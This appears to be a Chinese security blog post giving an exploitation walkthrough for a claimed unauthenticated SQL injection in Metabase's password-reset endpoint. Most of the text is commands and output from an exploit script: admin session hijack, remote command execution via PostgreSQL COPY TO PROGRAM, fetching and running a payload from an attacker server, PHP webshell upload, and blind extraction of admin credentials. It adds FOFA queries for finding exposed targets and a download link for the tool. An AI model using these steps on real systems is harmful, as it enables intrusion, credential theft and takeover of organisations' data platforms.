Metabase 未授权SQL注入漏洞:无需登录即可接管整个数据分析平台

Metabase 未授权SQL注入漏洞:无需登录即可接管整个数据分析平台

_

漏洞简介

  • CVE-2026-72898 是 Metabase 中的 Critical 级别 SQL 注入漏洞,该漏洞存在于密码重置接口 /api/session/reset_password 中,核心问题是后端在处理请求体时未对未声明字段实施过滤,攻击者可通过注入 user-id 字段将任意 SQL 代码传入数据库查询,结合 Metabase 默认使用超级用户连接应用数据库的特性,进一步通过 PostgreSQL 的 COPY ... TO PROGRAM 语句实现远程代码执行。

  • 通过逆向分析漏洞利用链,攻击者无需任何身份认证即可向 Metabase 实例发送恶意请求,成功利用后可获得以下操作:获取系统权限、窃取所有数据库连接凭证、读取业务数据、横向渗透内网、完全接管 Metabase 实例及其连接的后端数据库。

  • 该漏洞的影响链路:发现暴露的 Metabase → 调用 /api/session/reset_password 注入 SQL → 堆叠查询突破括号限制 → 使用 COPY ... TO PROGRAM 执行系统命令 → 接管应用数据库主机。

影响范围

项类别

详细内容

漏洞编号

CVE-2026-72898

受影响产品

Metabase (OSS + Enterprise)

受影响组件

/api/session/reset_password 密码重置接口

受影响版本

0.58.0 ~ 0.63.4 (OSS) / 1.58.0 ~ 1.63.4 (Enterprise)

漏洞类型

CWE-89 SQL 注入 / 堆叠查询

漏洞复现

  • 准备环境

项类别

详细内容

环境

python 3.x +requests库

目标版本

Metabase x.58.0 ~ x.63.4 (OSS + Enterprise)

前置条件

目标 /api/session/reset_password 端点网络可达

步骤 1:目标检测

使用 PoC 脚本检测目标是否运行存在漏洞的 Metabase:

python3 CVE-2026-72898_exp.py check http://TARGET_IP

脚本将通过以下方式确认目标:

  • 调用 /api/session/properties 接口获取版本信息

  • 匹配已知受影响版本区间

  • /api/session/reset_password 发送探测请求验证端点存在

步骤 2:Session 旁路注入验证

验证是否可通过注入创建管理员会话:

python3 CVE-2026-72898_exp.py poc http://TARGET_IP --backend postgres --hijack -v

成功响应示例:

```
[=] Target: http://TARGET_IP
[1] SQL Injection — admin session creation via side-effect
    Payload: user-id = {raw: (SELECT MIN(ID) FROM CORE_USER WHERE IS_SUPERUSER = TRUE)}
    HTTP 400  body={"message":"..."}
    [+] 400 is EXPECTED — the handler rejects because :success? is false.
    [+] A new admin session was created as a side-effect in the DB.

[3] Postgres: full session hijack via stacked INSERT
    Planting session:  id=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx  key=yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy
    sha512(key)=a3f2b8...
    Injection: HTTP 400  body={"message":"..."}
    GET /api/user/current: HTTP 200
    [+] AUTHENTICATED as: [email protected] (id=1, superuser=True)
    ┌─────────────────────────────────────────┐
    │  PoC reproduced — full admin takeover   │
    └─────────────────────────────────────────┘
```

步骤 3:远程命令执行(RCE via COPY TO PROGRAM)

在确认 PostgreSQL 后端后,直接执行系统命令:

python3 CVE-2026-72898_exp.py exploit http://TARGET_IP --cmd "id" -v

或从攻击服务器下载并执行 payloads:

python3 CVE-2026-72898_exp.py exploit http://TARGET_IP \
    --url http://ATTACKER-SERVER/payload --os auto -v

--url 提供时,exploit 会构建一套多工具 fallback 下载链(curl → wget → PowerShell → certutil → python),在数据库主机上下载并执行 payload:

```
[*] Target: http://TARGET_IP
[*] detected app-DB host OS: linux
[*] Linux stage: curl -> wget -> chmod -> run
    [*] COPY TO PROGRAM (linux) -> HTTP 400 (400 is expected; SQL executed)
[*] exploited 1/1 target(s)
```

步骤 4:Webshell 上传

上传带密钥保护的 PHP webshell 到 Web 可访问目录:

python3 CVE-2026-72898_exp.py webshell http://TARGET_IP \
    --web-root /var/www/html --shell-name shell.php --verify -v

成功后的访问方式:

http://TARGET_IP/shell.php?token=<KEY>&q=id

步骤 5:盲注数据提取

通过 DB-call 计数 oracle 盲取管理员凭据:

python3 CVE-2026-72898_exp.py extract http://TARGET_IP \
    --container metabase-vulnerable --backend postgres -v

输出示例:

```
============================================================
  GHSA-vwf4-m7j8-wcjf — Blind Data Extraction
  Oracle: >2 DB calls = TRUE, <=2 DB calls = FALSE
============================================================

[*] Log oracle: docker container metabase-vulnerable
[*] Verifying oracle...
    trying backend dialect: h2
    1=1 → FALSE
    trying backend dialect: postgres
    1=1 → TRUE
    1=0 → FALSE
[+] Oracle confirmed with backend dialect: postgres

  [superadmin count] = 1
  [admin user ID] = 1
[*] Extracting admin record...
  [email] extracting: [email protected]
  [first_name] extracting: John
  [last_name] extracting: Doe
  [password_hash] extracting: $2a$10$...

============================================================
  EXTRACTED ADMIN RECORD
============================================================
  ID:            1
  Email:         [email protected]
  First Name:    John
  Last Name:     Doe
  Password Hash: $2a$10$...
============================================================
```

FOFA 语法

body="metabase" && port="3000"

或精确匹配:

body="/api/session/login" && body="metabase"

利用工具下载

网盘

链接

mega

https://mega.nz/file/WGp2kIRQ#6Fh_Ugs-oLBWmPe3NOiwExvgHsl-oneJtjiNaajNOVM

SAP Commerce Cloud 未授权RCE漏洞深度解析 从默认认证到任意代码执行 2026-08-17
WordPress 预认证XSS转RCE漏洞深度解析:从登录页到服务器接管 2026-08-18